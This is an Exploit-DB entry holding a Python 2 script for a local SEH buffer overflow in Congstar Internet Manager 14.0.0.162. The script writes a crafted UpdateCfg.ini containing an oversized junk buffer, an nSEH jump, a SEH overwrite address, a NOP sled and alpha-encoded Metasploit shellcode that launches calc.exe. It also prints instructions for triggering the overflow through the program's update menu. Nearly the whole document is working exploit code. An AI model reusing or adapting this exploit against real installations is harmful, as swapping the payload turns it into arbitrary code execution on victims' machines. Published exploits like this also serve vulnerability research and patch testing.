Exploit-DB #35813
Description: Congstar Internet Manager - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2015-01-18
Author: metacom

Exploit:
#!/usr/bin/python
#Exploit Title:Congstar Internet-Manager SEH Buffer Overflow 
#Software for usb Wireless:Congstar Prepaid Internet-Stick (MF100)
#Homepage:www.congstar.de/downloads/prepaid-internet-stick/
#Software Link:www.congstar.de/fileadmin/files_congstar/software/20100726_Congstar_Install%20Pakcage_WIN.zip
#Version:14.0.0.162
#Found:8.01.2015
#Exploit Author: metacom - twitter.com/m3tac0m
#Tested on: Windows 7 En
print "[*]Copy UpdateCfg.ini to C:\Program Files\congstar\Internetmanager\Bin\n"
print "[*]Open Program and go to Menu-Options \n"
print "[*]Click Update and press Now look for Update\n"
print "[*]DE --> Menu-->Einstellungen-->Aktualisierung-->Jetzt nach Aktualisierung suchen\n"
from struct import pack
buffer1 = "\x5b\x55\x50\x44\x41\x54\x45\x5d\x0a\x0a\x45\x4e\x41\x42\x4c\x45\x5f\x55\x50\x44\x41\x54\x45\x3d\x31\x0a\x0a\x55\x50\x44"
buffer1 += "\x41\x54\x45\x5f\x46\x52\x45\x51\x55\x45\x4e\x43\x45\x3d\x31\x34\x0a\x0a\x5b\x53\x65\x72\x76\x69\x63\x65\x5d\x0a\x0a\x53"
buffer1 += "\x65\x72\x76\x69\x63\x65\x55\x52\x4c\x3d\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x6d\x6f\x62\x69\x6c\x65\x2e\x7a\x74\x65\x2e"
buffer1 += "\x63\x6f\x6d\x2e\x63\x6e\x2f\x55\x70\x64\x61\x74\x65\x45\x6e\x74\x72\x79\x2e\x61\x73\x70\x78\x0a"
junk="\x41" * 18164
nseh="\xeb\x06\x90\x90" 
seh=pack('<I',0x7C3A1868)#7C3A1868
nops="\x90" * 100
#msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R | 
#msfencode -e x86/alpha_upper -b "\x00\x0a\x0d\x1a\xff" -t c
shellcode=("\x89\xe2\xdd\xc1\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4d\x59\x55\x50"
"\x35\x50\x35\x50\x53\x50\x4d\x59\x4b\x55\x46\x51\x59\x42\x33"
"\x54\x4c\x4b\x56\x32\x30\x30\x4c\x4b\x31\x42\x44\x4c\x4c\x4b"
"\x30\x52\x45\x44\x4c\x4b\x44\x32\x57\x58\x34\x4f\x38\x37\x50"
"\x4a\x51\x36\x46\x51\x4b\x4f\x30\x31\x49\x50\x4e\x4c\x47\x4c"
"\x33\x51\x43\x4c\x34\x42\x36\x4c\x31\x30\x49\x51\x48\x4f\x54"
"\x4d\x45\x51\x59\x57\x4d\x32\x4c\x30\x56\x32\x46\x37\x4c\x4b"
"\x31\x42\x44\x50\x4c\x4b\x31\x52\x57\x4c\x43\x31\x48\x50\x4c"
"\x4b\x51\x50\x53\x48\x4b\x35\x49\x50\x34\x34\x51\x5a\x53\x31"
"\x4e\x30\x36\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x36\x38\x47"
"\x50\x45\x51\x58\x53\x4b\x53\x57\x4c\x37\x39\x4c\x4b\x36\x54"
"\x4c\x4b\x33\x31\x39\x46\x30\x31\x4b\x4f\x56\x51\x49\x50\x4e"
"\x4c\x4f\x31\x58\x4f\x44\x4d\x55\x51\x49\x57\x37\x48\x4d\x30"
"\x52\x55\x4b\x44\x43\x33\x43\x4d\x4a\x58\x37\x4b\x33\x4d\x57"
"\x54\x33\x45\x4b\x52\x30\x58\x4c\x4b\x36\x38\x57\x54\x33\x31"
"\x58\x53\x55\x36\x4c\x4b\x54\x4c\x30\x4b\x4c\x4b\x56\x38\x45"
"\x4c\x35\x51\x58\x53\x4c\x4b\x55\x54\x4c\x4b\x33\x31\x38\x50"
"\x4b\x39\x57\x34\x31\x34\x46\x44\x51\x4b\x31\x4b\x53\x51\x30"
"\x59\x50\x5a\x46\x31\x4b\x4f\x4d\x30\x51\x48\x31\x4f\x30\x5a"
"\x4c\x4b\x34\x52\x5a\x4b\x4c\x46\x31\x4d\x33\x5a\x43\x31\x4c"
"\x4d\x4c\x45\x38\x39\x55\x50\x45\x50\x43\x30\x50\x50\x53\x58"
"\x56\x51\x4c\x4b\x32\x4f\x4c\x47\x4b\x4f\x38\x55\x4f\x4b\x4b"
"\x4e\x44\x4e\x30\x32\x4a\x4a\x32\x48\x39\x36\x4c\x55\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x33\x36\x43\x4c\x35\x5a\x4d"
"\x50\x4b\x4b\x4b\x50\x54\x35\x33\x35\x4f\x4b\x47\x37\x52\x33"
"\x54\x32\x32\x4f\x42\x4a\x43\x30\x46\x33\x4b\x4f\x49\x45\x52"
"\x43\x53\x51\x42\x4c\x53\x53\x46\x4e\x43\x55\x43\x48\x35\x35"
"\x43\x30\x41\x41")
poc="\n" + "UpdateReport" + "=" + junk + nseh + seh + nops + shellcode +"\n\n"
buffer2 = "\x53\x65\x72\x76\x69\x63\x65\x50\x6f\x72\x74\x3d\x34\x34\x33\x0a\x0a\x55\x50\x44\x41\x54\x45\x5f\x50\x41\x54\x48\x3d\x2e"
buffer2 += "\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64\x0a\x0a\x52\x45\x54\x52\x59\x5f\x43\x4f\x4e\x4e\x45\x43\x54\x3d\x33\x30\x30\x0a\x0a"
buffer2 += "\x52\x45\x54\x52\x59\x5f\x53\x4c\x45\x45\x50\x3d\x31\x0a\x0a\x43\x4f\x4e\x4e\x45\x43\x54\x5f\x54\x49\x4d\x45\x4f\x55\x54"
buffer2 += "\x3d\x32\x30\x0a\x0a\x5b\x55\x70\x64\x61\x74\x65\x4d\x6f\x64\x65\x5d\x0a\x0a\x4d\x6f\x64\x65\x53\x65\x6c\x65\x63\x74\x53"
buffer2 += "\x79\x73\x3d\x31\x0a"
exploit =  buffer1 + poc + buffer2
try:
    out_file = open("UpdateCfg.ini",'w')
    out_file.write(exploit)
    out_file.close()
except:
    print "Error"